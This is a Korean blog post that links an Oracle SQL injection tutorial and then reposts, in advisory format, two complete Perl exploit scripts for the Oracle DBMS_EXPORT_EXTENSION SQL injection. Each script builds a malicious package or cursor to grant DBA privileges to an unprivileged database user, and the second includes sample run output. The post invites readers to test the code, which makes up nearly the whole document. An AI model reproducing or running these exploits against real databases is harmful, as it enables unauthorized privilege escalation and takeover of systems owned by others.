콩나물

아~ 그대의 속살을 만져보고 싶구나.
오라클..


sql injection 관련해서 공격과 그에 대한 대응방법을 교육시켜주는 사이트.

잘 몰라서 어렵게 느껴지는거겠찌.

링크 : http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm

■ 공격용 소스코드 제목
Oracle sql 삽입공격


■ 발표날짜
2007.04.29


■ 해당 시스템
오라클


■ 공격유형
둘다


■ 위험도
중


■ 최초보고자
mailto:bunker at fastwebnet.it
http://rawlab.mindcreations.com/codes/exp/oracle/dbms_exp_ext.pl


■ 문제점
오라클에서 발견된 sql 삽입 취약점은 DBA 의 권한을 획득할 수 있는 공격으로 이어진다.

다음의 코드를 이용하여 테스트해 보시기 바란다.


■ 공격법 / 공격용 소스코드
Oracle DBMS_EXPORT_EXTENSION SQL Injection Vulnerability

#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
   print <<"USAGE";
  
Syntax: $0 -h -s -u -p [-g|-r]

Options:
    -h target server address
    -s target sid name
    -u user
    -p password

    -g|-r (g)rant dba to user | (r)evoke dba from user

USAGE
   exit 0
}

my $opt_string = 'h:s:u:p:v:gr';
getopts($opt_string, %opt) or &usage;
&usage unless ( $opt{h} or $opt{s} or $opt{u} or $opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;


my $sqlcmd = undef;
$sqlcmd = "GRANT DBA TO $user" if ($opt{g});
$sqlcmd = "REVOKE DBA FROM $user" if ($opt{r});

print "[-] Wait...n";
$dbh->{RaiseError} = 1;

if ( $dbh->do( qq{
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
   my $msg = $dbh->func( 'plsql_errstr' );
   die $dbh->errstr if not defined $msg;
   die $msg if $msg;
}
print "[-] Building evil packagen";

if ( $dbh->do(qq{
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
   my $msg = $dbh->func( 'plsql_errstr' );
   die $dbh->errstr if not defined $msg;
   die $msg if $msg;
}
print "[-] Finishing evil packagen";

if ( $dbh->do (qq{
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
-> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
   my $msg = $dbh->func( 'plsql_errstr' );
   die $dbh->errstr if not defined $msg;
   die $msg if $msg;
}
print "[-] YOU GOT THE POWAH!!n";

exit;
========================================================
■ 공격용 소스코드 제목
Oracle 9i/10g sql 인젝션


■ 발표날짜
2007.03.07


■ 해당 시스템
9i/10g


■ 공격유형
둘다


■ 위험도
중


■ 최초보고자
http://www.milw0rm.com/exploits/3401


■ 문제점
Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit

오라클 확장자인 dbms_export_extension 에서 sql 인젝션 공격이 발견되어 주의를 요하고 있다.


■ 공격법 / 공격용 소스코드
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privilege needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sat Mar 3 13:06:36 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [1] Creating evil cursor...
# Cursor: 2
# [2] Creating evil cursor...
# Cursor: 4
# [-] Go!
# [-] YOU GOT THE POWAH!!
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
   print <<"USAGE";
  
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
    -h <host> target server address
    -s <sid> target sid name
    -u <user> user
    -p <passwd> password

    -g|-r (g)rant dba to user | (r)evoke dba from user
   [-P <port> Oracle port]

USAGE
   exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, %opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
   $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
   $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[-] Wait...n";
$dbh->{RaiseError} = 1;
$dbh->func( 1000000, 'dbms_output_enable' );


if ($opt{r}) {
   print "[-] Revoking DBA from $user...n";
   $sqlcmd = "REVOKE DBA FROM $user";
   $dbh->do( $sqlcmd );
   print "[-] Done!n";
   $dbh->disconnect;
   exit;
}

print "[1] Creating evil cursor...n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_1 NUMBER;
BEGIN
MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_1,
   'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
   FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
   c VARCHAR2, d SYS.odcienv) RETURN NUMBER; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_1);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
   print "$linen";
   if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
   ret NUMBER;
begin
   ret := sys.dbms_sql.execute($cursor);
end;
});

print "[2] Creating evil cursor...n";
$sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_2 NUMBER;
BEGIN
MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_2,
   'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
   FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
   c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
   PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''$sqlcmd'';
   COMMIT; RETURN(1); END;END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_2);
END;
} );
$sth->execute;
$cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
   print "$linen";
   if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
   ret NUMBER;
begin
   ret := sys.dbms_sql.execute($cursor);
end;
});

print "[-] Go!n";
$dbh->do(qq{
DECLARE
PLS PLS_INTEGER;
RET VARCHAR2(200);
BEGIN
RET := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('A','$user','BUNKERPKG','$user','',PLS,0);
END;
} );
print "[-] YOU GOT THE POWAH!!n";
$dbh->disconnect;
exit;